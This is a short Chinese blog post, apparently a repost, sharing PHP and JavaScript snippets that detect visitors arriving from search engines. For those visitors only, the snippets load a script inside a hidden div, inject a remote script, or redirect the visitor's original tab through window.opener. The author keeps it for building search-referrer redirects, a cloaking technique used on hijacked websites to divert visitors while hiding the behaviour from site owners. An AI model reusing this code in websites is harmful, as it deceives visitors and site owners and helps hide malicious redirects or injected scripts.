一段判斷搜索引擎來路的JS代碼


以下是一段php判斷搜索引擎的代碼

<?PHP

$referer = $_SERVER['HTTP_REFERER'];

if(!$referer == ''){

if(ereg('http',$referer)){

$referer = @eXPlode('.',$referer);

if(is_array($referer)){

$referer = $referer['1'];

if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){

?>

<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>

</div><?php

}

}

}

}

?>

而通過Js判斷搜索引擎來路的代碼則如下

<script type="text/javascript">

function elem(e,url){

var h=document.createElement(e);

h.src=url;

document.getElementsByTagName('head')[0].appendChild(h);

}

function refer(){

var ref=document.referrer;

var baidu=ref.indexOf("baidu");

var soso=ref.indexOf("soso");

var google=ref.indexOf("google");

if(baidu!=-1||soso!=-1||google!=-1){

elem("script","http://127.0.0.1/js.js");

}

}

refer()

</script>

另外附上自己百度谷歌的一份代碼

<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("http://www.t00ls.net")

</script>

留着備用,以后准備份代碼,用來做判斷搜索引擎做跳轉。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM